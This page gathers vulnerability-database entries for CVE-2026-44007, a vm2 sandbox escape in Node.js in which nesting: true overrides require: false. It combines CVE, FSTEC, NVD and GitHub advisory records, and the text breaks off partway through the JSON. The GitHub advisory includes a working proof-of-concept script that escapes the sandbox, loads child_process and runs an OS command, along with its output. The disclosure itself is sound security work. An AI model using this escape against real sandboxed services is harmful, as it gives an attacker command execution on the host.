Vulnerability-Lookup

CVE-2026-44007 (GCVE-0-2026-44007)

Vulnerability from cvelistv5 – Published: 2026-05-13 17:33 – Updated: 2026-09-07 12:05

Title

vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

9.9 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-15 03:55 UTC

CWE

CWE-284 - Improper Access Control
CWE-1100 - Insufficient Isolation of System-Dependent Functions

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7606 records in the last 180 days details

References

6 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM
http://www.openwall.com/lists/oss-security/2026/0…
https://access.redhat.com/security/cve/CVE-2026-44007	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2477198	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex
https://access.redhat.com/errata/RHSA-2026:50850	vendor-advisoryx_refsource_REDHAT

Impacted products

3 products

Vendor	Product	Version	CPE status
patriksimek	vm2	Affected: < 3.11.1	guessed
Red Hat	Red Hat Ansible Automation Platform 2.1	Unaffected: 1785854226 , < * (rpm) cpe:/a:redhat:ansible_portal:2.1
Red Hat	Red Hat Developer Hub	cpe:/a:redhat:rhdh:1

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                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-05-15T03:55:57.981614Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-05-15T09:58:28.453Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "vm2",
              "vendor": "patriksimek",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 3.11.1"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require(\u0027vm2\u0027) regardless of the outer VM\u0027s require configuration \u2014 including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.1,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-284",
                  "description": "CWE-284: Improper Access Control",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-05-13T17:33:19.799Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"
            }
          ],
          "source": {
            "advisory": "GHSA-8hg8-63c5-gwmx",
            "discovery": "UNKNOWN"
          },
          "title": "vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-44007",
        "datePublished": "2026-05-13T17:33:19.799Z",
        "dateReserved": "2026-05-04T21:24:36.505Z",
        "dateUpdated": "2026-09-07T12:05:07.822Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

BDU:2026-06915 (CVE-2026-44007)

Vulnerability from fstec – Published: 2026-05-18 – Updated: 2026-05-18 – View on bdu.fstec.ru Exploit publicly available Fixed

Title

Уязвимость библиотеки vm2 пакетного менеджера NPM, позволяющая нарушителю выполнять произвольные команды

Summary

Уязвимость библиотеки vm2 пакетного менеджера NPM связана с неконтролируемым изменением атрибутов прототипа объекта. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, выполнять произвольные команды

Severity

9.0 (High) CVSS 2.0


                      
                        AV:N/AC:L/Au:S/C:C/I:C/A:C

9.1 (Critical) CVSS 3.1


                      
                        CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Class

Code vulnerability

Status

Confirmed by the vendor

Exploitation

Authorization bypass

Incidents

Being clarified

Remediation

Software update

CWE

CWE-284 - Неправильный контроль доступа

Aliases

CVE-2026-44007

References

2 references

URL
https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx
https://www.openwall.com/lists/oss-security/2026/05/05/11

Impacted products

1 product from 1 vendor

Vendors

Node.js Foundation

Products

vm2

Versions

до 3.11.1 (vm2)

Product types

Application software

Mitigations

Использование рекомендаций: https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx

JSON

To clipboard

{
  "CVSS 2.0": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
  "CVSS 3.0": "AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
  "CVSS 4.0": null,
  "remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
  "remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
  "\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "Node.js Foundation",
  "\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u0434\u043e 3.11.1 (vm2)",
  "\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx",
  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "13.05.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "18.05.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "18.05.2026",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-06915",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2026-44007",
  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "vm2",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 vm2 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 NPM, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (CWE-284)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 vm2 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 NPM \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx\nhttps://www.openwall.com/lists/oss-security/2026/05/05/11",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-284",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 9)\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 9,1)"
}

FKIE_CVE-2026-44007

Vulnerability from fkie_nvd - Published: 2026-05-13 18:16 - Updated: 2026-09-07 13:19

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx	Exploit, Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108	http://www.openwall.com/lists/oss-security/2026/05/05/11	Mailing List, Third Party Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:50850
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-44007
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2477198
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44007.json

Impacted products

	Vendor	Product	Version
	vm2_project	vm2	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.11.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:ansible_portal:2.1"
          ],
          "defaultStatus": "affected",
          "packageName": "ansible-automation-platform/automation-portal",
          "product": "Red Hat Ansible Automation Platform 2.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1785854226",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhdh:1"
          ],
          "defaultStatus": "unaffected",
          "packageName": "rhdh/rhdh-hub-rhel9",
          "product": "Red Hat Developer Hub",
          "vendor": "Red Hat"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "7836EA26-7490-43B0-ACA0-31B580080D72",
              "versionEndExcluding": "3.11.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require(\u0027vm2\u0027) regardless of the outer VM\u0027s require configuration \u2014 including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1."
    }
  ],
  "id": "CVE-2026-44007",
  "lastModified": "2026-09-07T13:19:55.230",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44007",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-15T03:55:57.981614Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-13T18:16:17.527",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://www.openwall.com/lists/oss-security/2026/05/05/11"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:50850"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-44007"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477198"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44007.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-284"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1100"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-8HG8-63C5-GWMX

Vulnerability from github – Published: 2026-05-07 05:13 – Updated: 2026-05-14 20:37

Summary

vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution

Details

Summary

When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.

Details

The vulnerability is in how the nesting: true option interacts with the legacy module resolver.

lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:

const NESTING_OVERRIDE = Object.freeze({
  __proto__: null,
  vm2: vm2NestingLoader
});

lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:

const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
  requireOpts,
  nesting && NESTING_OVERRIDE,  // ← injected when nesting:true
  this._compiler
);

lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:

function makeResolverFromLegacyOptions(options, override, compiler) {
  if (!options) {
    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all
    // BUG: require:false + nesting:true reaches here
    // override (NESTING_OVERRIDE) is applied, making vm2 available
    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable
  }
  // ...
}

lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:

if (overrides) {
  const keys = Object.getOwnPropertyNames(overrides);
  for (const key of keys) {
    res.set(key, overrides[key]);  // vm2 always injected when nesting:true
  }
}

The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.

This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.

PoC

Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).

const { NodeVM } = require('vm2');

// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });

const result = vm.run(`
  // Step 1: require('vm2') succeeds despite require:false on the outer VM
  const { NodeVM: NVM } = require('vm2');

  // Step 2: create an inner NodeVM with attacker-chosen require config
  // This inner VM has no relation to the outer VM's restrictions
  const inner = new NVM({ require: { builtin: ['child_process'] } });

  // Step 3: execute arbitrary OS command in the inner VM
  module.exports = inner.run(
    'module.exports = require("child_process").execSync("id").toString()'
  );
`);

console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...

Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):

uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)

The variant with require: false also works — the outer VM's require setting has no effect:

new NodeVM({ nesting: true, require: false }).run(`
  const { NodeVM: NVM } = require('vm2');
  module.exports = new NVM({ require: { builtin: ['child_process'] } })
    .run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...

Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.

Impact

Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.

What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.

Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.

Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T05:13:21Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require(\u0027vm2\u0027)` regardless of the outer VM\u0027s `require` configuration \u2014 including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** \u2014 `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n  __proto__: null,\n  vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** \u2014 When `nesting: true`, this override is passed into the resolver factory alongside the host\u0027s `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n  requireOpts,\n  nesting \u0026\u0026 NESTING_OVERRIDE,  // \u2190 injected when nesting:true\n  this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** \u2014 This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n  if (!options) {\n    if (!override) return DENY_RESOLVER;  // require:false, no nesting \u2192 deny all\n    // BUG: require:false + nesting:true reaches here\n    // override (NESTING_OVERRIDE) is applied, making vm2 available\n    const builtins = 